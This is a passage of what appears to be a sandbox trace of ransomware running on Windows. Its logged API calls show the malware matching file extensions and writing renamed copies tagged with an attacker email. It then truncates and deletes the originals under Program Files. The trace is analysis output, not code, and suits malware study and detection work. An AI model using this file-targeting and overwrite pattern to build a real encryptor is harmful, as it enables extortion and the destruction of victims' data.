(lpString1=".dbf", lpString2=".xml") returned -1 [0204.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0204.874] lstrlenW (lpString=".1cd") returned 4 [0204.874] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0204.874] lstrlenW (lpString=".jpg") returned 4 [0204.874] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.874] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0204.875] lstrlenW (lpString="auxpad.xml") returned 10 [0204.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0204.876] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=212) returned 1 [0204.876] CloseHandle (hObject=0x16c) returned 1 [0204.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0204.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0204.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0204.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0204.877] lstrlenW (lpString=".doc") returned 4 [0204.877] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.877] lstrlenW (lpString=".docx") returned 5 [0204.877] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0204.877] lstrlenW (lpString=".pdf") returned 4 [0204.877] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.877] lstrlenW (lpString=".xls") returned 4 [0204.877] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.877] lstrlenW (lpString=".xlsx") returned 5 [0204.877] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0204.877] lstrlenW (lpString=".ppt") returned 4 [0204.877] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0204.877] lstrlenW (lpString=".zip") returned 4 [0204.877] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.877] lstrlenW (lpString=".rar") returned 4 [0204.877] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.877] lstrlenW (lpString=".bz2") returned 4 [0204.877] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.877] lstrlenW (lpString=".7z") returned 3 [0204.878] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0204.878] lstrlenW (lpString=".dbf") returned 4 [0204.878] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0204.878] lstrlenW (lpString=".1cd") returned 4 [0204.878] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0204.878] lstrlenW (lpString=".jpg") returned 4 [0204.878] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0204.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0204.878] lstrlenW (lpString=".doc") returned 4 [0204.878] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.879] lstrlenW (lpString=".docx") returned 5 [0204.879] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0204.879] lstrlenW (lpString=".pdf") returned 4 [0204.879] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.879] lstrlenW (lpString=".xls") returned 4 [0204.879] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.879] lstrlenW (lpString=".xlsx") returned 5 [0204.879] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0204.879] lstrlenW (lpString=".ppt") returned 4 [0204.879] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0204.879] lstrlenW (lpString=".zip") returned 4 [0204.879] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.879] lstrlenW (lpString=".rar") returned 4 [0204.879] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.879] lstrlenW (lpString=".bz2") returned 4 [0204.880] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.880] lstrlenW (lpString=".7z") returned 3 [0204.880] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0204.880] lstrlenW (lpString=".dbf") returned 4 [0204.880] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0204.880] lstrlenW (lpString=".1cd") returned 4 [0204.880] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0204.880] lstrlenW (lpString=".jpg") returned 4 [0204.880] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.881] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0204.881] lstrlenW (lpString="ea.xml") returned 6 [0204.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0204.881] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=384) returned 1 [0204.881] CloseHandle (hObject=0x16c) returned 1 [0204.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0204.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0204.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0204.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0204.882] lstrlenW (lpString=".doc") returned 4 [0204.882] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.882] lstrlenW (lpString=".docx") returned 5 [0204.882] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0204.882] lstrlenW (lpString=".pdf") returned 4 [0204.882] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.882] lstrlenW (lpString=".xls") returned 4 [0204.882] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.882] lstrlenW (lpString=".xlsx") returned 5 [0204.882] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0204.882] lstrlenW (lpString=".ppt") returned 4 [0204.882] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0204.882] lstrlenW (lpString=".zip") returned 4 [0204.882] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.882] lstrlenW (lpString=".rar") returned 4 [0204.882] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.882] lstrlenW (lpString=".bz2") returned 4 [0204.883] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.883] lstrlenW (lpString=".7z") returned 3 [0204.883] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0204.883] lstrlenW (lpString=".dbf") returned 4 [0204.883] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0204.883] lstrlenW (lpString=".1cd") returned 4 [0204.883] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0204.883] lstrlenW (lpString=".jpg") returned 4 [0204.883] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0204.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0204.883] lstrlenW (lpString=".doc") returned 4 [0204.884] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.884] lstrlenW (lpString=".docx") returned 5 [0204.884] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0204.884] lstrlenW (lpString=".pdf") returned 4 [0204.884] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.884] lstrlenW (lpString=".xls") returned 4 [0204.884] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.884] lstrlenW (lpString=".xlsx") returned 5 [0204.884] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0204.884] lstrlenW (lpString=".ppt") returned 4 [0204.884] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0204.884] lstrlenW (lpString=".zip") returned 4 [0204.884] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.884] lstrlenW (lpString=".rar") returned 4 [0204.885] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.885] lstrlenW (lpString=".bz2") returned 4 [0204.885] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.885] lstrlenW (lpString=".7z") returned 3 [0204.885] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0204.885] lstrlenW (lpString=".dbf") returned 4 [0204.885] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0204.885] lstrlenW (lpString=".1cd") returned 4 [0204.885] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0204.885] lstrlenW (lpString=".jpg") returned 4 [0204.885] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.886] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0204.886] lstrlenW (lpString="keypadbase.xml") returned 14 [0204.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0204.887] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1118) returned 1 [0204.887] CloseHandle (hObject=0x16c) returned 1 [0204.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0204.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0204.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0204.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0204.888] lstrlenW (lpString=".doc") returned 4 [0204.888] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.888] lstrlenW (lpString=".docx") returned 5 [0204.888] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0204.888] lstrlenW (lpString=".pdf") returned 4 [0204.888] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.888] lstrlenW (lpString=".xls") returned 4 [0204.888] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.888] lstrlenW (lpString=".xlsx") returned 5 [0204.888] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0204.888] lstrlenW (lpString=".ppt") returned 4 [0204.888] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0204.888] lstrlenW (lpString=".zip") returned 4 [0204.888] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.888] lstrlenW (lpString=".rar") returned 4 [0204.888] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.888] lstrlenW (lpString=".bz2") returned 4 [0204.888] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.888] lstrlenW (lpString=".7z") returned 3 [0204.889] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0204.889] lstrlenW (lpString=".dbf") returned 4 [0204.889] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[who8@mail.fr].aa1")) returned 0 [0207.342] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.342] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0207.343] GetLastError () returned 0x0 [0207.343] ReadFile (in: hFile=0x1dc, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x61d, lpOverlapped=0x0) returned 1 [0207.344] WriteFile (in: hFile=0x178, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x620, lpOverlapped=0x0) returned 1 [0207.346] ReadFile (in: hFile=0x1dc, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0207.346] WriteFile (in: hFile=0x178, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0207.347] SetEndOfFile (hFile=0x178) returned 1 [0207.347] CloseHandle (hObject=0x178) returned 1 [0207.348] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.348] SetEndOfFile (hFile=0x1dc) returned 1 [0207.349] CloseHandle (hObject=0x1dc) returned 1 [0207.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0207.349] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0207.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0207.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0207.350] lstrlenW (lpString=".doc") returned 4 [0207.350] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0207.350] lstrlenW (lpString=".docx") returned 5 [0207.350] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0207.350] lstrlenW (lpString=".pdf") returned 4 [0207.350] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0207.350] lstrlenW (lpString=".xls") returned 4 [0207.350] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0207.350] lstrlenW (lpString=".xlsx") returned 5 [0207.350] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0207.350] lstrlenW (lpString=".ppt") returned 4 [0207.350] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0207.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0207.350] lstrlenW (lpString=".zip") returned 4 [0207.350] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0207.350] lstrlenW (lpString=".rar") returned 4 [0207.350] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0207.350] lstrlenW (lpString=".bz2") returned 4 [0207.350] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0207.350] lstrlenW (lpString=".7z") returned 3 [0207.350] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0207.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0207.350] lstrlenW (lpString=".dbf") returned 4 [0207.350] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0207.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0207.350] lstrlenW (lpString=".1cd") returned 4 [0207.351] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0207.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0207.351] lstrlenW (lpString=".jpg") returned 4 [0207.351] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0207.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0207.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0207.351] lstrlenW (lpString=".doc") returned 4 [0207.351] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0207.351] lstrlenW (lpString=".docx") returned 5 [0207.351] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0207.351] lstrlenW (lpString=".pdf") returned 4 [0207.351] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0207.351] lstrlenW (lpString=".xls") returned 4 [0207.351] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0207.351] lstrlenW (lpString=".xlsx") returned 5 [0207.351] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0207.351] lstrlenW (lpString=".ppt") returned 4 [0207.351] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0207.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0207.351] lstrlenW (lpString=".zip") returned 4 [0207.351] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0207.351] lstrlenW (lpString=".rar") returned 4 [0207.351] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0207.352] lstrlenW (lpString=".bz2") returned 4 [0207.352] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0207.352] lstrlenW (lpString=".7z") returned 3 [0207.352] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0207.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0207.352] lstrlenW (lpString=".dbf") returned 4 [0207.352] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0207.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0207.352] lstrlenW (lpString=".1cd") returned 4 [0207.352] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0207.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0207.352] lstrlenW (lpString=".jpg") returned 4 [0207.352] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0207.352] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0207.352] lstrlenW (lpString="SETUP.XML") returned 9 [0207.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0207.357] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2296) returned 1 [0207.357] CloseHandle (hObject=0x1dc) returned 1 [0207.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0207.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0207.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0207.357] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.357] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0207.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 